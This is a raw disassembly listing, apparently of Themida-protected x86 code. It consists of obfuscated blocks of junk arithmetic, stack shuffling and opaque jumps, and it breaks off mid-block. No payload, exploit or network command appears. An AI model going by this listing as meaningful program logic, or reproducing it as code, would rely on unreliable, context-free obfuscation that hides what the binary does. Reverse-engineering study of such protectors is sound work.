loc_5AC229: ; CODE XREF: Themida_:005AE1AEj
add esp, 4
jmp loc_5A2D16
; ---------------------------------------------------------------------------
loc_5AC231: ; CODE XREF: Themida_:005A07FBj
mov [esp], ecx
jmp loc_5A7BA4
; ---------------------------------------------------------------------------
loc_5AC239: ; CODE XREF: Themida_:0059BBECj
push edx
push ebx
mov ebx, 10226405h
add ebx, 56B61F00h
jmp loc_5AC4C9
; ---------------------------------------------------------------------------
loc_5AC24B: ; CODE XREF: Themida_:005A0DE9j
push ebp
mov ebp, 5FCC1AD6h
not ebp
shr ebp, 3
jns loc_5AE115
add ebp, 600660AAh
jmp loc_599131
; ---------------------------------------------------------------------------
mov ax, [esp]
push 37A9h
mov [esp], edi
push esp
mov edi, [esp]
jmp loc_59DBFD
; ---------------------------------------------------------------------------
loc_5AC27C: ; CODE XREF: Themida_:005A703Ej
mov ebp, 38E64255h
add eax, ebp
jmp loc_5989E6
; ---------------------------------------------------------------------------
loc_5AC288: ; CODE XREF: Themida_:0059AA9Cj
push ebp
mov ebp, esp
add ebp, 4
sub ebp, 4
xchg ebp, [esp]
pop esp
mov [esp], ecx
jmp loc_5AB4F0
; ---------------------------------------------------------------------------
loc_5AC2A3: ; CODE XREF: Themida_:0059FA89j
add edi, ecx
mov ecx, [esp]
add esp, 4
sub edx, edi
jmp loc_5A12EA
; ---------------------------------------------------------------------------
loc_5AC2B5: ; CODE XREF: Themida_:0059F2C8j
push esi
mov esi, 0D6CCF76h
add ebx, esi
jmp loc_5AFBA2
; ---------------------------------------------------------------------------
loc_5AC2C2: ; CODE XREF: Themida_:00599B05j
; Themida_:005ABF88j
and ecx, 17FD4A97h
dec ecx
jnp loc_59AFFD
jmp loc_5A3830
; ---------------------------------------------------------------------------
push ebx
push edx
pop ebx
pop edx
mov cl, dl
loc_5AC2DA: ; CODE XREF: Themida_:005AC645j
mov eax, [esp]
push ebx
push esp
pop ebx
add ebx, 4
add ebx, 4
xchg ebx, [esp]
mov esp, [esp]
push esi
mov esi, esp
add esi, 4
add esi, 4
xchg esi, [esp]
jmp loc_5A6BC1
; ---------------------------------------------------------------------------
loc_5AC306: ; CODE XREF: Themida_:0059E703j
pop ebp
jmp loc_59B655
; ---------------------------------------------------------------------------
loc_5AC30C: ; CODE XREF: Themida_:0059FA03j
add esp, 4
push ebp
mov ebp, 4
add esi, ebp
pop ebp
add esi, 4
jmp loc_59BD74
; ---------------------------------------------------------------------------
push dword ptr [esp+4]
push dword ptr [esp]
pop eax
push 7950h
mov [esp], eax
jmp loc_5A3637
; ---------------------------------------------------------------------------
loc_5AC33B: ; CODE XREF: Themida_:005A68C9j
mov ebx, 0
jmp loc_5AD592
; ---------------------------------------------------------------------------
loc_5AC345: ; CODE XREF: Themida_:0059B512j
pop ebp
add ebp, edx
mov edx, [esp]
push edi
mov edi, esp
jmp loc_59FF22
; ---------------------------------------------------------------------------
loc_5AC353: ; CODE XREF: Themida_:loc_5A6100j
; Themida_:005AE57Dj
push ebx
sub dword ptr [esp], 35836ECFh
jmp loc_5AA732
; ---------------------------------------------------------------------------
loc_5AC360: ; CODE XREF: Themida_:005A7C1Bj
push eax
mov eax, 1
jmp loc_5A3BD7
; ---------------------------------------------------------------------------
loc_5AC36B: ; CODE XREF: Themida_:005A8AECj
push 4BF4h
mov [esp], ecx
jmp loc_5AE643
; ---------------------------------------------------------------------------
loc_5AC378: ; CODE XREF: Themida_:0059CD75j
jmp loc_5AAB0C
; ---------------------------------------------------------------------------
loc_5AC37D: ; CODE XREF: Themida_:005A4941j
add ecx, 4
add ecx, 4
jmp loc_5A9D66
; ---------------------------------------------------------------------------
loc_5AC38E: ; CODE XREF: Themida_:0059C088j
; Themida_:005ABC84j
pop esp
push ecx
push 4
jmp loc_5A3E56
; ---------------------------------------------------------------------------
loc_5AC39A: ; CODE XREF: Themida_:005A621Fj
xor ecx, 0ECF79CDh
push esi
mov esi, 1A752F21h
jmp loc_5A8164
; ---------------------------------------------------------------------------
loc_5AC3AB: ; CODE XREF: Themida_:005ABEF8j
add esp, 4
push ebx
jmp loc_5A53F4
; ---------------------------------------------------------------------------
loc_5AC3B4: ; CODE XREF: Themida_:005A5CC3j
mov cl, ah
mov dh, cl
pop ecx
mov bh, dh
mov edx, [esp]
add esp, 4
jmp loc_5A7679
; ---------------------------------------------------------------------------
loc_5AC3C9: ; CODE XREF: Themida_:005A6D21j
; Themida_:005AB342j
pop dword ptr [esp]
jmp loc_5A5646
; ---------------------------------------------------------------------------
loc_5AC3D1: ; CODE XREF: Themida_:0059FB5Aj
xor eax, edi
push dword ptr [esp]
pop edi
add esp, 4
add esi, 37C4FD1h
add esi, eax
push ebp
mov ebp, 1DF47B0Bh
add ebp, 0BCC1B20h
add ebp, 0D9BBB9A6h
jmp loc_5A978B
; ---------------------------------------------------------------------------
loc_5AC3FC: ; CODE XREF: Themida_:005A3860j
add dword ptr [esp], 4
push dword ptr [esp]
pop ebp
add esp, 4
push 4031h
jmp loc_59C2D2
; ---------------------------------------------------------------------------
loc_5AC417: ; CODE XREF: Themida_:0059FB23j
push ebx
mov ebx, 570E4A84h
push ecx
mov ecx, 3D0A4868h
add ebx, 56A809AEh
add ebx, ecx
sub ebx, 56A809AEh
mov ecx, [esp]
jmp loc_59E527
; ---------------------------------------------------------------------------
loc_5AC439: ; CODE XREF: Themida_:005AE5EFj
xor eax, 3ED86D23h
add esi, eax
pop eax
neg esi
push ebp
mov ebp, 53267D82h
sub esi, ebp
pop ebp
sub edi, esi
pop esi
add edi, ebx
add edi, 5C300C75h
sub edi, 2E7F2384h
push dword ptr [esp]
mov ebx, [esp]
add esp, 4
push edx
mov edx, esp
jmp loc_59E0D0
; ---------------------------------------------------------------------------
loc_5AC46E: ; CODE XREF: Themida_:005A4B1Ej
mov ecx, [esp]
add esp, 4
push ecx
mov ecx, 33F51E6Fh
jmp loc_5AF36B
; ---------------------------------------------------------------------------
loc_5AC47F: ; CODE XREF: Themida_:00599F20j
or [esp], ax
pushf
jmp loc_5989A3
; ---------------------------------------------------------------------------
loc_5AC489: ; CODE XREF: Themida_:005A70A8j
pop ecx
shr dh, 3
jmp loc_5A082F
; ---------------------------------------------------------------------------
loc_5AC492: ; CODE XREF: Themida_:005A2B82j
mov edx, esp
jmp loc_5AF41D
; ---------------------------------------------------------------------------
loc_5AC499: ; CODE XREF: Themida_:005A5A93j
push esp
pop edi
jmp loc_599682
; ---------------------------------------------------------------------------
loc_5AC4A0: ; CODE XREF: Themida_:005A9B04j
inc eax
jp loc_5AEEB1
shl eax, 3
jmp loc_5A58E7
; ---------------------------------------------------------------------------
mov [esp], edx
push edx
loc_5AC4B3: ; CODE XREF: Themida_:005A1AEDj
pop ecx
jmp loc_5AED27
; ---------------------------------------------------------------------------
loc_5AC4B9: ; CODE XREF: Themida_:005AF128j
push ecx
mov ecx, 3CA93111h
sub ebp, ecx
pop ecx
not ebp
jmp loc_59B31B
; ---------------------------------------------------------------------------
loc_5AC4C9: ; CODE XREF: Themida_:005AC246j
neg ebx
jo loc_5A46CC
xor ebx, 99277CFFh
mov edx, ebx
pop ebx
add ecx, edx
pop edx
push esi
mov esi, esp
add esi, 4
sub esi, 4
xchg esi, [esp]
pop esp
mov [esp], eax
push esi
mov esi, 4EE6203Dh
mov eax, 0B119DFC7h
jmp loc_59A195
; ---------------------------------------------------------------------------
loc_5AC500: ; CODE XREF: Themida_:005AC76Cj
add esi, 5161211Ch
mov ebp, esi
mov esi, [esp]
add esp, 4
jmp loc_59CBD0
; ---------------------------------------------------------------------------
loc_5AC513: ; CODE XREF: Themida_:005A74E5j
mov ebx, 10883675h
not ebx
sub ebx, 1
shl ebx, 1
neg ebx
not ebx
push edx
jmp loc_5A9EDC
; ---------------------------------------------------------------------------
loc_5AC529: ; CODE XREF: Themida_:loc_5A0409j
push edx
jmp loc_59BAAB
; ---------------------------------------------------------------------------
loc_5AC52F: ; CODE XREF: Themida_:0059BE54j
; Themida_:005A3522j
sub edx, 3CB32024h
pop ebx
sub esi, edx
pop edx
add esi, 0FDADF70Ah
mov ebx, esi
mov esi, [esp]
add esp, 4
add eax, 68197670h
add eax, ebx
sub eax, 68197670h
pop ebx
push eax
jmp loc_5A2863
; ---------------------------------------------------------------------------
loc_5AC55A: ; CODE XREF: Themida_:005A5980j
sub ebp, 1
sub ebp, 32298F3Bh
add eax, ebp
push dword ptr [esp]
pop ebp
jmp loc_59A324
; ---------------------------------------------------------------------------
loc_5AC571: ; CODE XREF: Themida_:005ADA6Fj
push eax
mov eax, 322D4EF9h
jmp loc_5A51E2
; ---------------------------------------------------------------------------
loc_5AC57C: ; CODE XREF: Themida_:005AEE8Fj
add edx, 4C41089Dh
pop ebp
add edx, 2
push edx
push dword ptr [esp+4]
pop edx
pop dword ptr [esp]
mov esp, [esp]
xor [esp], si
xor si, [esp]
xor [esp], si
jmp loc_5989A3
; ---------------------------------------------------------------------------
loc_5AC5A3: ; CODE XREF: Themida_:0059DB77j
add esp, 4
push eax
push dword ptr [esp+4]
pop eax
pop dword ptr [esp]
pop esp
mov [esp], edx
mov dh, 0Fh
push ebx
mov bl, dh
push eax
jmp loc_5AD7E8
; ---------------------------------------------------------------------------
loc_5AC5C1: ; CODE XREF: Themida_:0059D432j
sub dword ptr [esp], 66851F20h
pop edx
add edx, 66851F20h
pop ebx
sub esi, 51173C29h
sub esi, 1DC80638h
sub esi, edx
push edi
mov edi, 2DD86965h
neg edi
push edi
jmp loc_5ABEFD
; ---------------------------------------------------------------------------
loc_5AC5EC: ; CODE XREF: Themida_:005A3267j
push dword ptr [esp]
pop ebp
add esp, 4
add ebx, ecx
add ebx, 26A155A7h
push ecx
mov ecx, 0
push ebp
mov ebp, 463F23E3h
add ecx, ebp
pop ebp
add ecx, ebx
sub ecx, 463F23E3h
push ebx
mov ebx, 0
add ebx, ecx
mov eax, [ebx]
pop ebx
jmp loc_5A07EE
; ---------------------------------------------------------------------------
loc_5AC622: ; CODE XREF: Themida_:0059A0C9j
; Themida_:005AC98Aj
pop edx
xor ebx, 0B463EC6Eh
jmp loc_5A198F
; ---------------------------------------------------------------------------
loc_5AC62E: ; CODE XREF: Themida_:005AD522j
push edx
mov edx, 3C3F46A4h
push eax
mov eax, 56FFFF7h
sub edx, eax
jmp loc_59F36E
; ---------------------------------------------------------------------------
loc_5AC641: ; CODE XREF: Themida_:005AF8DDj
pop edx
push dword ptr [esp]
jmp loc_5AC2DA
; ---------------------------------------------------------------------------
loc_5AC64A: ; CODE XREF: Themida_:005A8483j
; Themida_:005A9BAAj
neg ecx
or ecx, 40D61BFEh
xor ecx, 0C0D69BFBh
jmp loc_5AA4F3
; ---------------------------------------------------------------------------
loc_5AC65D: ; CODE XREF: Themida_:0059D454j
pop eax
push esi
mov esi, 78BE783Eh
neg esi
xor esi, 2A980B78h
not esi
or esi, 55DB3DD3h
add esi, 9D4074CEh
xor ebx, esi
pop esi
mov edi, ebx
pop ebx
jmp loc_59D3AA
; ---------------------------------------------------------------------------
byte_5AC685 db 31h, 3Ch, 24h ; DATA XREF: Themida_:00598828o
dd 31243C33h, 0EC83243Ch, 240C8904h, 266368h, 0DB78E900h
db 0FEh, 0FFh
; ---------------------------------------------------------------------------
loc_5AC69E: ; CODE XREF: Themida_:005A4492j
pop ebx
jmp loc_59D62C
; ---------------------------------------------------------------------------
loc_5AC6A4: ; CODE XREF: Themida_:005A20E3j
sub eax, 0B6566CC3h
add ebp, eax
jmp loc_5A0DEE
; ---------------------------------------------------------------------------
loc_5AC6B0: ; CODE XREF: Themida_:005A1D89j
mov ebp, esp
push ebx
mov ebx, 2BCD1DF6h
sub ebx, 61075AFBh
add ebx, 353A3D09h
add ebp, ebx
pop ebx
push 59C7h
mov [esp], ebx
mov ebx, 1825047Ch
or ebx, 3F300E40h
jo loc_5A76D1
sub ebx, 39B30B1Fh
xor ebx, 167F5288h
jnp loc_5A052A
dec ebx
xor ebx, 13FD51D0h
mov ah, 0D8h
loc_5AC6FC: ; CODE XREF: Themida_:0059A579j
push dword ptr [esp]
pop edi
push 3740h
jmp loc_59D33B
; ---------------------------------------------------------------------------
loc_5AC70A: ; CODE XREF: Themida_:005A8612j
sub esp, 4
mov [esp], esi
jmp loc_5AC13B
; ---------------------------------------------------------------------------
loc_5AC715: ; CODE XREF: Themida_:0059CD19j
mov [esp], ebp
push esp
jmp loc_59FF57
; ---------------------------------------------------------------------------
loc_5AC71E: ; CODE XREF: Themida_:0059E765j
push 49C8h
jmp loc_59BD5B
; ---------------------------------------------------------------------------
loc_5AC728: ; CODE XREF: Themida_:005A8535j
sub edi, edx
push ebp
mov ebp, 67CE228Dh
add edi, ebp
mov ebp, [esp]
add esp, 4
jmp loc_59A571
; ---------------------------------------------------------------------------
loc_5AC740: ; CODE XREF: Themida_:005AD1A7j
mov esi, ebx
pop ebx
push 380Ch
mov [esp], edi
mov edi, 52832B0h
shr edi, 3
jmp loc_5A99DC
; ---------------------------------------------------------------------------
loc_5AC758: ; CODE XREF: Themida_:005AD235j
pop eax
xor esi, [esp]
xor [esp], esi
xor esi, [esp]
pop esp
mov [esp], esi
mov esi, 9D75AC0h
dec esi
js loc_5AC500
add esi, 5161211Ch
mov ebp, esi
mov esi, [esp]
add esp, 4
sub edi, 1FEA3B7Bh
sub edi, 65AF539Fh
jmp loc_59DCEB
; ---------------------------------------------------------------------------
loc_5AC791: ; CODE XREF: Themida_:005A66C9j
xor edi, [esp]
mov esp, [esp]
jmp loc_5A74F7
; ---------------------------------------------------------------------------
loc_5AC79C: ; CODE XREF: Themida_:0059D4DEj
push ebp
jmp loc_5AFDC3
; ---------------------------------------------------------------------------
loc_5AC7A2: ; CODE XREF: Themida_:005A2AADj
add [esp+4], ecx
add dword ptr [esp+4], 638782Dh
mov ecx, [esp]
jmp loc_5A7DA2
; ---------------------------------------------------------------------------
loc_5AC7B6: ; CODE XREF: Themida_:0059C377j
jmp loc_5A2545
; ---------------------------------------------------------------------------
loc_5AC7BB: ; CODE XREF: Themida_:0059EE09j
mov ebx, esp
jmp loc_5A3968
; ---------------------------------------------------------------------------
loc_5AC7C2: ; CODE XREF: Themida_:005A9E12j
imul cl
movzx cx, ah
jmp loc_5AD02A
; ---------------------------------------------------------------------------
loc_5AC7CD: ; CODE XREF: Themida_:005ABCE3j
sub edi, 1179667Eh
jmp loc_5AE7C5
; ---------------------------------------------------------------------------
loc_5AC7D8: ; CODE XREF: Themida_:005A03C4j
add esp, 4
jmp loc_5AAF09
; ---------------------------------------------------------------------------
loc_5AC7E0: ; CODE XREF: Themida_:0059B52Dj
pop bx
push edx
mov dh, ah
mov bl, dh
mov edx, [esp]
add esp, 4
pop eax
and bl, 6Bh
jb loc_5AB5A7
and bl, 0F8h
ja loc_5A7CE0
or bl, 95h
jmp loc_5A3E2A
; ---------------------------------------------------------------------------
mov [esp], edi
mov edx, edi
push ebp
loc_5AC80E: ; CODE XREF: Themida_:005A7CBCj
; Themida_:005AE322j
or edi, 4CF072AFh
jmp loc_5A4206
; ---------------------------------------------------------------------------
loc_5AC819: ; CODE XREF: Themida_:0059B37Fj
mov ebx, 152BDh
sub esi, ebx
pop ebx
add eax, 77316277h
sub eax, esi
jmp loc_59C223
; ---------------------------------------------------------------------------
loc_5AC82D: ; CODE XREF: Themida_:005A4F89j
mov ebx, 0B3D4FEDh
or ebx, 61F211FFh
dec ebx
jmp loc_5A50E2
; ---------------------------------------------------------------------------
loc_5AC83E: ; CODE XREF: Themida_:005A742Cj
mov edi, [esp]
add esp, 4
jmp loc_5AC89B
; ---------------------------------------------------------------------------
loc_5AC84C: ; CODE XREF: Themida_:005A3FBEj
add edx, edi
pop edi
jmp loc_5AA5A8
; ---------------------------------------------------------------------------
loc_5AC854: ; CODE XREF: Themida_:0059BF4Ej
sub esp, 4
mov [esp], ecx
mov ch, 0CCh
xor ch, 0D6h
jmp loc_5A2C94
; ---------------------------------------------------------------------------
loc_5AC864: ; CODE XREF: Themida_:005A6A4Fj
push dword ptr [esp+4]
push dword ptr [esp]
jmp loc_59BDFD
; ---------------------------------------------------------------------------
loc_5AC870: ; CODE XREF: Themida_:005A3123j
sub edi, 0DD307630h
sub ebp, edi
mov edi, [esp]
add esp, 4
jmp loc_5A2AFC
; ---------------------------------------------------------------------------
loc_5AC886: ; CODE XREF: Themida_:005ABACAj
shl ecx, 8
js loc_5A4DC5
add ecx, 2824304h
mov edx, ecx
mov ebx, esi
mov esi, ebx
loc_5AC89B: ; CODE XREF: Themida_:005AC847j
add esi, ecx
pop ecx
xor esi, [esp]
jmp loc_59DA56
; ---------------------------------------------------------------------------
loc_5AC8A6: ; DATA XREF: Themida_:00598750o
push small 585h
jmp loc_5A4CA0
; ---------------------------------------------------------------------------
loc_5AC8AF: ; CODE XREF: Themida_:005A2CD2j
jmp loc_59A176
; ---------------------------------------------------------------------------
loc_5AC8B4: ; CODE XREF: Themida_:005A1DBBj
jmp loc_5989A3
; ---------------------------------------------------------------------------
loc_5AC8B9: ; CODE XREF: Themida_:00599FEDj
sub edi, 4
push edi
jmp loc_59A3B8
; ---------------------------------------------------------------------------
loc_5AC8C5: ; CODE XREF: Themida_:0059A6AAj
; Themida_:0059F304j
add esp, 2
pop small word ptr [esp]
push small 4691h
mov [esp], cx
push small 340Fh
jmp loc_5A8048
; ---------------------------------------------------------------------------
loc_5AC8DD: ; CODE XREF: Themida_:0059D865j
sub esi, 7446563Eh
push dword ptr [esp]
pop ebx
add esp, 4
push edx
mov edx, esp
add edx, 4
sub edx, 4
xchg edx, [esp]
pop esp
mov [esp], edx
jmp loc_5ADF5E
; ---------------------------------------------------------------------------
loc_5AC905: ; CODE XREF: Themida_:005A05F8j
mov bh, 55h
add ch, bh
pop ebx
xor al, ch
jmp loc_59E9F4
; ---------------------------------------------------------------------------
loc_5AC911: ; CODE XREF: Themida_:0059ED95j
mov eax, edx
mov ebp, eax
jmp loc_5A6C74
; ---------------------------------------------------------------------------
loc_5AC91A: ; CODE XREF: Themida_:005A8115j
pop esp
jmp loc_5989A3
; ---------------------------------------------------------------------------
loc_5AC920: ; CODE XREF: Themida_:005A7906j
inc eax
push ebp
mov ebp, 3D785012h
jmp loc_5AD57C
; ---------------------------------------------------------------------------
loc_5AC92C: ; CODE XREF: Themida_:0059CB12j
; Themida_:005A42DDj
jmp loc_5ADED5
; ---------------------------------------------------------------------------
loc_5AC931: ; CODE XREF: Themida_:005A730Dj
push ecx
mov ecx, esp
add ecx, 4
jmp loc_598BBE
; ---------------------------------------------------------------------------
mov cx, [esp]
push 59A2h
mov [esp], eax
jmp loc_5AEC2B
; ---------------------------------------------------------------------------
loc_5AC950: ; CODE XREF: Themida_:005A8D27j
sub esp, 4
mov [esp], ecx
jmp loc_5992CC
; ---------------------------------------------------------------------------
loc_5AC95E: ; CODE XREF: Themida_:005AF957j
xor dh, 0EAh
xor al, dh
pop edx
sub esp, 4
jmp loc_59D9A3
; ---------------------------------------------------------------------------
loc_5AC96F: ; CODE XREF: Themida_:005A9C98j
pop ebx
add ebx, 6CAA3643h
jbe loc_5AFA1E
shl ebx, 1
jnp loc_5AF0BF
add ebx, 26680828h
jb loc_5AC622
loc_5AC990: ; CODE XREF: Themida_:005A5BE3j
add esp, 4
add esi, ecx
mov ecx, [esp]
push edx
mov edx, esp
add edx, 4
add edx, 4
jmp loc_5AD8D8
; ---------------------------------------------------------------------------
loc_5AC9AC: ; CODE XREF: Themida_:005AD764j
push ecx
mov ecx, esp
add ecx, 4
jmp loc_59A697
; ---------------------------------------------------------------------------
loc_5AC9BA: ; CODE XREF: Themida_:0059CDB8j
add [esp+4], eax
add dword ptr [esp+4], 4B62387Fh
pop eax
pop ebx
push 14ABh
mov [esp], edi
push ebp
jmp loc_599BD9
; ---------------------------------------------------------------------------
loc_5AC9D6: ; CODE XREF: Themida_:0059C309j
mov edx, [esp]
push ebx
push esp
jmp loc_5AAA49
; ---------------------------------------------------------------------------
loc_5AC9E0: ; CODE XREF: Themida_:005AA27Bj
add ebx, edx
pop edx
xor ebx, [esp]
xor [esp], ebx
xor ebx, [esp]
pop esp
add ebx, ebp
pop ebp
sub esp, 4
mov [esp], edx
mov edx, 4
add ebx, 361D163Bh
add ebx, edx
jmp loc_5A3A21
; ---------------------------------------------------------------------------
loc_5ACA08: ; CODE XREF: Themida_:005A36C0j
sub esp, 4
mov [esp], esp
add dword ptr [esp], 4
pop edx
add edx, 4
push eax
push ebx
push 4
pop ebx
mov eax, ebx
pop ebx
add edx, eax
jmp loc_59D2E6
; ---------------------------------------------------------------------------
loc_5ACA2B: ; CODE XREF: Themida_:005A0F7Aj
neg edi
jmp loc_5A213B
; ---------------------------------------------------------------------------
loc_5ACA32: ; CODE XREF: Themida_:005ABB66j
sub dword ptr [esp], 71906020h
add dword ptr [esp], 3FD74AC2h
jmp loc_5989A3
; ---------------------------------------------------------------------------
loc_5ACA45: ; CODE XREF: Themida_:005A4C66j
mov edi, edx
mov edx, [esp]
add esp, 4
add edi, 7EB139Ah
not edi
jmp loc_59CCF0
; ---------------------------------------------------------------------------
loc_5ACA5D: ; CODE XREF: Themida_:0059EBA4j
push ebp
mov ebp, esp
add ebp, 4
add ebp, 4
jmp loc_59974A
; ---------------------------------------------------------------------------
loc_5ACA71: ; CODE XREF: Themida_:005A530Aj
mov [esp], esp
jmp loc_59C8AF
; ---------------------------------------------------------------------------
loc_5ACA79: ; CODE XREF: Themida_:005AE9D8j
add [esp+4], edi
jmp loc_5A5C41
; ---------------------------------------------------------------------------
loc_5ACA82: ; CODE XREF: Themida_:005A8C30j
jmp loc_59B8B0
; ---------------------------------------------------------------------------
loc_5ACA87: ; CODE XREF: Themida_:0059E6D8j
push edi
mov edi, 6A75A8Bh
mov edx, 30C12DCBh
jmp loc_59E950
; ---------------------------------------------------------------------------
loc_5ACA97: ; CODE XREF: Themida_:005AA4C5j
mov ecx, edi
mov edi, [esp]
add esp, 4
push ebx
push edx
mov edx, 76791509h
mov ebx, 0D82C26C3h
add ebx, edx
pop edx
xor ecx, ebx
jmp loc_5A8807
; ---------------------------------------------------------------------------
loc_5ACAB8: ; CODE XREF: Themida_:005A4830j
sub bx, cx
jmp loc_59C40B
; ---------------------------------------------------------------------------
loc_5ACAC0: ; CODE XREF: Themida_:005AF8F6j
sub edi, 0BBB7035h
sub edi, ecx
jmp loc_5AF334
; ---------------------------------------------------------------------------
loc_5ACACD: ; CODE XREF: Themida_:005AD1F6j
mov eax, 4
jmp loc_5AF20F
; ---------------------------------------------------------------------------
loc_5ACAD7: ; CODE XREF: Themida_:0059B35Fj
sub ebx, 607F1024h
add ebx, edi
push edx
mov edx, 640F4C1Ah
jmp loc_59C0FB
; ---------------------------------------------------------------------------
loc_5ACAEA: ; CODE XREF: Themida_:005A7E7Aj
mov edi, 60816EFDh
push ebp
mov ebp, 4505C13h
mov esi, 5C3112E6h
add esi, ebp
pop ebp
xor esi, edi
jmp loc_5A3426
; ---------------------------------------------------------------------------
loc_5ACB04: ; CODE XREF: Themida_:005A37BCj
xor ebp, 56067226h
add edx, ebp
mov ebp, [esp]
push 1FE0h
mov [esp], edi
push esp
jmp loc_59E573
; ---------------------------------------------------------------------------
loc_5ACB1D: ; CODE XREF: Themida_:0059DBCDj
mov edx, 4EF11EAFh
mov edi, edx
jmp loc_59A6A6
; ---------------------------------------------------------------------------
loc_5ACB29: ; CODE XREF: Themida_:005991A9j
pop ebp
jmp loc_5A11D3
; ---------------------------------------------------------------------------
loc_5ACB2F: ; CODE XREF: Themida_:005AA145j
xor eax, 5F273921h
jmp loc_59AA12
; ---------------------------------------------------------------------------
loc_5ACB39: ; CODE XREF: Themida_:00599B60j
and edi, 5EE769F1h
sub edi, 5EE521EFh
jmp loc_5A5812
; ---------------------------------------------------------------------------
loc_5ACB4A: ; CODE XREF: Themida_:005A5AF8j
mov esi, esp
add esi, 4
add esi, 4
xor esi, [esp]
xor [esp], esi
xor esi, [esp]
pop esp
xchg ecx, [esp]
mov esp, [esp]
mov [esp], ebx
mov ebx, esp
add ebx, 4
push edi
push ebx
push 6865C7Ah
pop ebx
shl ebx, 3
jnz loc_599B40
push eax
mov eax, 1C4472A4h
sub ebx, eax
pop eax
jmp loc_5A5E44
; ---------------------------------------------------------------------------
loc_5ACB8F: ; CODE XREF: Themida_:0059F106j
push 7FC3h
mov [esp], ebp
jmp loc_5AA365
; ---------------------------------------------------------------------------
loc_5ACB9C: ; CODE XREF: Themida_:005A9A69j
sub dword ptr [esp+4], 1F7C7080h
jmp loc_5A6821
; ---------------------------------------------------------------------------
loc_5ACBA9: ; CODE XREF: Themida_:005A8E58j
xor ebp, 5410B164h
push ebp
pop ebx
pop ebp
sub ebp, ebx
pop ebx
xor ebp, [esp]
jmp loc_5A5CB7
; ---------------------------------------------------------------------------
push edx
push ebx
jmp loc_5A733D
; ---------------------------------------------------------------------------
loc_5ACBC4: ; CODE XREF: Themida_:005A845Fj
push edi
jmp loc_59C584
; ---------------------------------------------------------------------------
loc_5ACBCA: ; CODE XREF: Themida_:005A3808j
mov ebp, [esp]
sub esp, 4
mov [esp], eax
mov eax, esp
jmp loc_599EBF
; ---------------------------------------------------------------------------
loc_5ACBDD: ; CODE XREF: Themida_:0059CCEBj
pop ebp
jmp loc_5ACEE3
; ---------------------------------------------------------------------------
loc_5ACBE3: ; CODE XREF: Themida_:005A805Cj
add al, 0E9h
push edx
mov dl, 0D6h
jmp loc_59E137
; ---------------------------------------------------------------------------
loc_5ACBED: ; CODE XREF: Themida_:005AFA7Ej
pop esp
mov [esp], esi
mov ebp, [esp]
add esp, 4
jmp loc_5AB4F7
; ---------------------------------------------------------------------------
loc_5ACBFC: ; CODE XREF: Themida_:005ABC5Aj
add ebx, 0FB3C8468h
add ebp, ebx
jmp loc_5AD430
; ---------------------------------------------------------------------------
loc_5ACC09: ; CODE XREF: Themida_:0059BF9Cj
pop edx
jmp loc_59F286
; ---------------------------------------------------------------------------
loc_5ACC0F: ; CODE XREF: Themida_:005AB435j
jbe loc_5AEA54
xor ebx, 1C2253A0h
jl loc_5AEE4F
sub ebx, 17729FB3h
mov [edi+20h], ebx
mov ebx, [esp]
jmp loc_599AF3
; ---------------------------------------------------------------------------
loc_5ACC32: ; CODE XREF: Themida_:005A31DFj
sub ebp, 0B50B9E1Eh
sub eax, ebp
pop ebp
sub eax, edi
add eax, 4AFC1603h
jmp loc_5AC0DC
; ---------------------------------------------------------------------------
loc_5ACC47: ; CODE XREF: Themida_:005AB65Aj
mov edx, 6C9B2D31h
shr edx, 8
jz loc_5A44BE
xor edx, 5EE61538h
jmp loc_59957C
; ---------------------------------------------------------------------------
loc_5ACC60: ; CODE XREF: Themida_:005A3222j
add esi, ebp
jmp loc_5A31F6
; ---------------------------------------------------------------------------
loc_5ACC67: ; CODE XREF: Themida_:005A64F0j
add edx, ecx
pop ecx
add edx, 4
xchg edx, [esp]
pop esp
push ebp
jmp loc_59B4B8
; ---------------------------------------------------------------------------
loc_5ACC77: ; CODE XREF: Themida_:0059C406j
push ecx
mov ecx, 397E7865h
jmp loc_5A92A5
; ---------------------------------------------------------------------------
loc_5ACC82: ; CODE XREF: Themida_:005A43E6j
or dl, bh
pop ebx
xor dl, 5Dh
sub dl, 6
add dl, 7Ah
jmp loc_59F7BE
; ---------------------------------------------------------------------------
loc_5ACC93: ; CODE XREF: Themida_:005A24EEj
xor ebx, [esp]
mov esp, [esp]
push edx
mov edx, esp
sub esp, 4
mov [esp], eax
mov eax, esp
add eax, 4
sub eax, 4
xchg eax, [esp]
pop esp
mov [esp], ebx
mov ebx, 4
add edx, 4BC32BCBh
add edx, 561A5C24h
add edx, ebx
push ebp
push ebx
mov ebx, 6AC50781h
sub ebx, 7A3373BFh
jbe loc_5A8BCD
neg ebx
dec ebx
neg ebx
jmp loc_59F32F
; ---------------------------------------------------------------------------
loc_5ACCE6: ; CODE XREF: Themida_:005A544Cj
push ecx
jmp loc_5AF142
; ---------------------------------------------------------------------------
loc_5ACCEC: ; CODE XREF: Themida_:0059A7C5j
push 574Bh
mov [esp], eax
jmp loc_5989A3
; ---------------------------------------------------------------------------
loc_5ACCF9: ; CODE XREF: Themida_:0059EFC7j
; Themida_:005AADFDj
mov ebp, eax
pop eax
pop ecx
push 0FD6h
mov [esp], ecx
push edx
push 220D6B0Dh
jmp loc_5A2E02
; ---------------------------------------------------------------------------
loc_5ACD10: ; CODE XREF: Themida_:005A6005j
mov ecx, [esp]
add esp, 4
jmp loc_5A5132
; ---------------------------------------------------------------------------
pop dword ptr fs:[edx]
jmp loc_5989A3
; ---------------------------------------------------------------------------
loc_5ACD23: ; CODE XREF: Themida_:005A9FF2j
xchg ebx, [esp]
pop esp
jmp loc_59FC1E
; ---------------------------------------------------------------------------
loc_5ACD2C: ; CODE XREF: Themida_:loc_5A8DBDj
add bh, 0DEh
mov dl, bh
jmp loc_59C087
; ---------------------------------------------------------------------------
loc_5ACD36: ; CODE XREF: Themida_:005A0D88j
push edx
jmp loc_5A1CC1
; ---------------------------------------------------------------------------
loc_5ACD3C: ; CODE XREF: Themida_:005A9681j
jmp loc_5989A3
; ---------------------------------------------------------------------------
loc_5ACD41: ; CODE XREF: Themida_:005AC015j
push 499Bh
mov [esp], edx
push 2C7Dh
mov [esp], ebx
mov ebx, 36C62589h
jmp loc_59A2AA
; ---------------------------------------------------------------------------
loc_5ACD5B: ; CODE XREF: Themida_:0059A537j
jnp loc_59EAF4
neg ecx
jl loc_59CBD0
jmp loc_5A9896
; ---------------------------------------------------------------------------
add ebp, 4
and bl, 83h
push esi
loc_5ACD75: ; CODE XREF: Themida_:0059BADBj
push 7647h
mov [esp], edi
push ebp
mov ebp, 38B26B1h
mov edi, 0FC74D953h
add edi, 609F7C02h
sub edi, 50DF3580h
